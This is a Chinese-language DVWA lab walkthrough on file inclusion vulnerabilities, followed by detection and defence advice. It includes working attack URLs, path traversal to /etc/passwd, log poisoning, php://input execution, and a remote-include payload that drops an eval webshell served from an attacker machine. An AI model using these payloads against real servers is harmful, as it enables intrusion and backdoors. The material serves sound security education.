Low级:

 
 
我们分别点击这几个file.php文件

仅仅是配置参数的变化:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
如果我们随便写一个不存在的php文件,比如 :
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=text.php

还爆出了路径错误
 

我们先来分析原始内容:
 
再来分析我们构造好的网址:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini
 
果然可以访问到正常的内容
 
我们再来尝试:

 
这表明了文件包含不仅仅能读文件,还能执行文件
 
当然,我们不能满足于此,我们甚至可以尝试从本地包含文件
 
我们在本地www目录下新建1.php   ————>  写入<?php phpinfo();?>
 
我们输入网址:
 
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.txt

果然,外部包含文件成功,这样的话我们可以在1.php代码中写入恶意代码,拿到服务器的webshell

Medium级:

我们先来看源代码:
<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>
 
 
 
 
 

就是将输入的url参数中包含的“http://”、“https://”,   ". . /"   ,   ". . \""等字符串替换成空的字符串,
即过滤了远程文件包含, 对于本地文件包含并没有任何过滤:
 
本地包含:
 
远程包含:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt

High级:

源代码:
<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" )
{
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
 

我们输入:
 

Impossible级:

源代码:
<?php

// The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
源码只允许四个文件名,有效的防止了文件的包含漏洞
 
 

利用:

1、读取敏感文件:

如直接../../../../../etc/passwd来读取本地文件内容,其他敏感文件的读取是类似的,前提是知道路径。

2、包含Apache日志文件:

可以用nc向目标服务器发送一条内容为一句话木马的错误的指令,让其保存在目标服务器的access.log日志文件中,再通过本地文件包含的方式实现利用。但是测试时没有成功,因为MySQL用户权限不足,不能读取Apache的日志,这时需要提权操作。
这里简便地演示一下,就直接修改文件夹属主,先到/var/log目录下,然后输入命令:chown www-data:www-data apache2 -R
接着以向日志文件写入phpinfo为示例,注意一点是,不能直接在URL栏填写,因为一些字符会被URL编码而不能达到目的,要使用Burpsuite截断代理修改数据包来进行:
然后到Metasploitable2的Apache2的access.log文件中查看:

确实是存在于日志文件中了。

最后直接包含该access.log文件即可:

3、远程包含shell

以Medium级为背景,在一台攻击者的服务器如Kali的/var/www/html/目录中放入一句话木马文件,在Kali中通过以下命令启动Apache

service apache2 start

然后在访问DVWA中利用远程文件包含漏洞访问Kali中的木马文件,从而实现利用。
这里注意的是,这个木马文件的内容不能为形如<?php echo shell_exec($_GET['cmd']);?>这种,因为这样只会在该木马文件存放的服务器服务器上执行而不是在目标服务器上执行,如下示例,a.php文件内容如上,但是返回的内容确实Windows服务器的而不是目标主机Metasploitable2的:
因而正确的姿势应该是,该木马文件实现将木马内容写入目标服务器中的1.txt文件,如:
<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>
访问:
没有啥情况,接着到DVWA服务器查看吧:
存在后门PHP文件,没有问题。
这里示例以phpinfo测试:

4、配合文件上传漏洞:

和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。
例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>
直接包含该文件会将该文件以PHP来运行:

5、使用PHP封装协议读取文件和写入PHP文件:

1、读取文件:

访问,可以看到显示了base64编码的内容:
使用Burpsuite的Decode模块解码:
可以发现就是之前上传的示例文件内容。

2、写入PHP文件:

前提条件是allow_url_include为on,则构造如下URL:192.168.220.128/dvwa/vulnerabilities/fi/?page=php://input
然后再POST需要输入的内容即可,这里通过Firefox的HackBar来POST数据:
可以看到输入的内容执行并返回了结果。

检测方法:

找到有包含函数的页面,对函数内容进行替换查看结果;
可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;
白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。

防御方法:

1、严格判断包含中的参数是否外部可控。
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文
 

2. DVWA亲测文件包含漏洞的更多相关文章

  1. 1.4 DVWA亲测文件上传漏洞

    Low 先看看源代码: <?php if(isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $tar ...

  2. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  3. 2. DVWA亲测命令执行漏洞

        先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令  我们输入127.0.0.1& ...

  4. 1.2 DVWA亲测sql注入漏洞(blind)

    LOW等级     我们尝试输入:   即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...

  5. 文件包含漏洞(DVWA环境中复现)

    LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...

  6. DVWA各级文件包含漏洞

    File Inclusion文件包含漏洞 漏洞分析 程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程被称为包含. 有时候由于网 ...

  7. PHP代码审计笔记--文件包含漏洞

    有限制的本地文件包含: <?php include($_GET['file'].".php"); ?> %00截断: ?file=C://Windows//win.in ...

  8. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  9. php伪协议,利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本, 设置allow_url_fopen ...

随机推荐

  1. lvs虚拟服务器

    NAT模式 1.模拟环境: LVS服务器有两块网卡,连接外网(用户端)和内网(服务器),充当"交警"角色. 优点: 节省ip开销 缺点: LVS服务器负载过高,数据吞吐量降低 三台 ...

  2. 一文看透 Redis 分布式锁进化史(解读 + 缺陷分析)(转)

    近两年来微服务变得越来越热门,越来越多的应用部署在分布式环境中,在分布式环境中,数据一致性是一直以来需要关注并且去解决的问题,分布式锁也就成为了一种广泛使用的技术,常用的分布式实现方式为Redis,Z ...

  3. Wix Burn运行64位dism.exe的问题

    主要的问题是Burn是一个32位程序,在64位机器上它启动的进程都会被重定向到wow64目录下,也就是说它运行的dism.exe最终会是32位的.解决的方法就是用wix提供的QtExec64CmdLi ...

  4. MLGBZ

    April cloudy, boss rainy, told me he want to kick But coming so,Formosa Heart sad , Down,down,down W ...

  5. LeetCode:删除链表中的节点【203】

    LeetCode:删除链表中的节点[203] 题目描述 删除链表中等于给定值 val 的所有节点. 示例: 输入: 1->2->6->3->4->5->6, val ...

  6. 算法(Algorithms)第4版 练习 1.3.11

    主要思路: 这个和Dijkstrad的双栈算法不太一样,后缀的计算只需要一个栈即可. 用一个栈来存数字栈即可. 遇到数字,压栈. 遇到运算法,从栈中弹出相应的数字,用该运算法计算得到结果. 再次压入栈 ...

  7. BZOJ 1607 [Usaco2008 Dec]Patting Heads 轻拍牛头:统计 + 筛法【调和级数】

    题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=1607 题意: 给你n个数,问你除a[i]之外,有多少个数是a[i]的约数. 题解: ans ...

  8. PHP的深copy和浅copy

    1.对象复制的由来 为什么对象会有“复制”这个概念,这与PHP5中对象的传值方式是密切相关的,让我们看看下面这段简单的代码 /** * 电视机类 */ class Television { /** * ...

  9. frp支持httpIP地址加端口号访问

    (一)安装就不再多说 传送门:https://blog.csdn.net/superljn/article/details/81289993 (二)vim frps.ini [common] bind ...

  10. Ajax动态切换按钮

    function changeAjax(str, obj) { var idx = $(obj).parent().parent().index(); if(confirm('确定执行操作么?')) ...